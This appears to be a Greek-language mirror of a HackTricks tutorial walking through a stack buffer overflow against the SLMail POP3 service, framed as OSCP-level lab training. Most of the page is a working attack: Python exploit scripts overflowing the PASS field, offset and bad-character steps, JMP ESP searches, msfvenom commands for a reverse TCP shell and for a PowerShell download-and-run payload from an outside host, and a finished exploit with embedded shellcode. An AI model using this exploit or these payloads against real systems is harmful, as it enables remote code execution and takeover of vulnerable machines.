mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
263 lines
13 KiB
Markdown
263 lines
13 KiB
Markdown
|
# Windows Exploiting (Βασικός Οδηγός - OSCP επίπεδο)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|||
|
|
|||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## **Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail**
|
|||
|
|
|||
|
## Επανεκκίνηση της υπηρεσίας SLMail
|
|||
|
|
|||
|
Κάθε φορά που χρειάζεται να **επανεκκινήσετε την υπηρεσία SLMail** μπορείτε να το κάνετε χρησιμοποιώντας την κονσόλα των Windows:
|
|||
|
```
|
|||
|
net start slmail
|
|||
|
```
|
|||
|
![](<../.gitbook/assets/image (985).png>)
|
|||
|
|
|||
|
## Πολύ βασικό πρότυπο εκμετάλλευσης σε Python
|
|||
|
```python
|
|||
|
#!/usr/bin/python
|
|||
|
|
|||
|
import socket
|
|||
|
|
|||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
ip = '10.11.25.153'
|
|||
|
port = 110
|
|||
|
|
|||
|
buffer = 'A' * 2700
|
|||
|
try:
|
|||
|
print "\nLaunching exploit..."
|
|||
|
s.connect((ip, port))
|
|||
|
data = s.recv(1024)
|
|||
|
s.send('USER username' +'\r\n')
|
|||
|
data = s.recv(1024)
|
|||
|
s.send('PASS ' + buffer + '\r\n')
|
|||
|
print "\nFinished!."
|
|||
|
except:
|
|||
|
print "Could not connect to "+ip+":"+port
|
|||
|
```
|
|||
|
## **Αλλαγή γραμματοσειράς στο Immunity Debugger**
|
|||
|
|
|||
|
Πηγαίνετε σε `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK`
|
|||
|
|
|||
|
## **Σύνδεση της διεργασίας στο Immunity Debugger:**
|
|||
|
|
|||
|
**File --> Attach**
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (866).png>)
|
|||
|
|
|||
|
**Και πατήστε το κουμπί START**
|
|||
|
|
|||
|
## **Αποστολή του exploit και έλεγχος εάν το EIP επηρεάζεται:**
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (903).png>)
|
|||
|
|
|||
|
Κάθε φορά που διακόπτετε την υπηρεσία, πρέπει να την επανεκκινήσετε, όπως υποδεικνύεται στην αρχή αυτής της σελίδας.
|
|||
|
|
|||
|
## Δημιουργία ενός προτύπου για την τροποποίηση του EIP
|
|||
|
|
|||
|
Το πρότυπο πρέπει να είναι τόσο μεγάλο όσο το buffer που χρησιμοποιήσατε για να διακόψετε την υπηρεσία προηγουμένως.
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (417).png>)
|
|||
|
```
|
|||
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
|
|||
|
```
|
|||
|
Αλλάξτε το buffer του exploit και ορίστε το pattern και εκτελέστε το exploit.
|
|||
|
|
|||
|
Θα πρέπει να εμφανιστεί ένα νέο crash, αλλά με διαφορετική διεύθυνση EIP:
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (633).png>)
|
|||
|
|
|||
|
Ελέγξτε εάν η διεύθυνση βρίσκεται στο pattern σας:
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (415).png>)
|
|||
|
```
|
|||
|
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
|
|||
|
```
|
|||
|
Φαίνεται ότι **μπορούμε να τροποποιήσουμε το EIP στη θέση 2606** του buffer.
|
|||
|
|
|||
|
Ελέγξτε το τροποποιώντας το buffer του exploit:
|
|||
|
```
|
|||
|
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
|
|||
|
```
|
|||
|
Με αυτό το buffer ο EIP που κρασάρισε θα πρέπει να δείχνει στο 42424242 ("BBBB")
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (871).png>)
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (89).png>)
|
|||
|
|
|||
|
Φαίνεται ότι λειτουργεί.
|
|||
|
|
|||
|
## Έλεγχος για χώρο Shellcode μέσα στο stack
|
|||
|
|
|||
|
Τα 600 bytes θα πρέπει να είναι αρκετά για οποιοδήποτε ισχυρό shellcode.
|
|||
|
|
|||
|
Ας αλλάξουμε το buffer:
|
|||
|
```
|
|||
|
buffer = 'A'*2606 + 'BBBB' + 'C'*600
|
|||
|
```
|
|||
|
Εκκινήστε το νέο exploit και ελέγξτε το EBP και το μήκος του χρήσιμου shellcode
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (116).png>)
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (876).png>)
|
|||
|
|
|||
|
Μπορείτε να δείτε ότι όταν φτάσει η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε αρκετό χώρο για να τοποθετήσουμε ένα shellcode εδώ.
|
|||
|
|
|||
|
Σε αυτήν την περίπτωση έχουμε **από 0x0209A128 έως 0x0209A2D6 = 430B.** Αρκετό.
|
|||
|
|
|||
|
## Έλεγχος για κακούς χαρακτήρες
|
|||
|
|
|||
|
Αλλάξτε ξανά το buffer:
|
|||
|
```
|
|||
|
badchars = (
|
|||
|
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
|
|||
|
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
|
|||
|
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
|
|||
|
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
|
|||
|
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
|
|||
|
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
|
|||
|
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
|
|||
|
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
|
|||
|
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
|
|||
|
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
|
|||
|
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
|
|||
|
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
|
|||
|
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
|
|||
|
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
|
|||
|
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
|
|||
|
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
|||
|
)
|
|||
|
buffer = 'A'*2606 + 'BBBB' + badchars
|
|||
|
```
|
|||
|
Τα badchars ξεκινούν από το 0x01 επειδή το 0x00 σχεδόν πάντα είναι κακό.
|
|||
|
|
|||
|
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τα χαρακτήρες που θεωρούνται άχρηστοι:.
|
|||
|
|
|||
|
Για παράδειγμα:
|
|||
|
|
|||
|
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (δεν αποθηκεύεται τίποτα στη μνήμη αφού ο χαρακτήρας 0x09).
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (108).png>)
|
|||
|
|
|||
|
Σε αυτήν την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**:
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (1095).png>)
|
|||
|
|
|||
|
## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
|
|||
|
|
|||
|
Χρησιμοποιώντας:
|
|||
|
```
|
|||
|
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
|||
|
```
|
|||
|
Θα **καταχωρήσετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLl που έχει:
|
|||
|
|
|||
|
* **Rebase: False**
|
|||
|
* **SafeSEH: False**
|
|||
|
* **ASLR: False**
|
|||
|
* **NXCompat: False**
|
|||
|
* **OS Dll: True**
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (552).png>)
|
|||
|
|
|||
|
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά bytes JMP ESP, για να το κάνετε αυτό εκτελέστε:
|
|||
|
```
|
|||
|
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
|
|||
|
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
|
|||
|
```
|
|||
|
**Στη συνέχεια, αν βρεθεί μια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα "κακό χαρακτήρα":**
|
|||
|
|
|||
|
![](<../.gitbook/assets/image (602).png>)
|
|||
|
|
|||
|
**Σε αυτήν την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_
|
|||
|
|
|||
|
## Δημιουργία shellcode
|
|||
|
```
|
|||
|
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
|
|||
|
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
|
|||
|
```
|
|||
|
Αν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει εκτελεστεί), δοκιμάστε να δημιουργήσετε άλλους κώδικες shell (με το msfvenom θα δημιουργήσετε διαφορετικούς κώδικες shell για τις ίδιες παραμέτρους).
|
|||
|
|
|||
|
**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε τον κώδικα και τη διεύθυνση επιστροφής για να γίνει άλμα στο ESP, και ολοκληρώστε το exploit:
|
|||
|
```bash
|
|||
|
#!/usr/bin/python
|
|||
|
|
|||
|
import socket
|
|||
|
|
|||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|||
|
ip = '10.11.25.153'
|
|||
|
port = 110
|
|||
|
|
|||
|
shellcode = (
|
|||
|
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
|
|||
|
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
|
|||
|
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
|
|||
|
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
|
|||
|
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
|
|||
|
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
|
|||
|
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
|
|||
|
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
|
|||
|
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
|
|||
|
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
|
|||
|
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
|
|||
|
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
|
|||
|
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
|
|||
|
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
|
|||
|
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
|
|||
|
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
|
|||
|
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
|
|||
|
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
|
|||
|
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
|
|||
|
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
|
|||
|
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
|
|||
|
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
|
|||
|
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
|
|||
|
"\x2d\xb8\x63\xe2\x4e\xe9"
|
|||
|
)
|
|||
|
|
|||
|
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
|
|||
|
try:
|
|||
|
print "\nLaunching exploit..."
|
|||
|
s.connect((ip, port))
|
|||
|
data = s.recv(1024)
|
|||
|
s.send('USER username' +'\r\n')
|
|||
|
data = s.recv(1024)
|
|||
|
s.send('PASS ' + buffer + '\r\n')
|
|||
|
print "\nFinished!."
|
|||
|
except:
|
|||
|
print "Could not connect to "+ip+":"+port
|
|||
|
```
|
|||
|
{% hint style="warning" %}
|
|||
|
Υπάρχουν shellcodes που θα **αντικαταστήσουν τον εαυτό τους**, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν το shellcode
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## Βελτίωση του shellcode
|
|||
|
|
|||
|
Προσθέστε αυτές τις παραμέτρους:
|
|||
|
```bash
|
|||
|
EXITFUNC=thread -e x86/shikata_ga_nai
|
|||
|
```
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|||
|
|
|||
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|||
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
|||
|
|
|||
|
</details>
|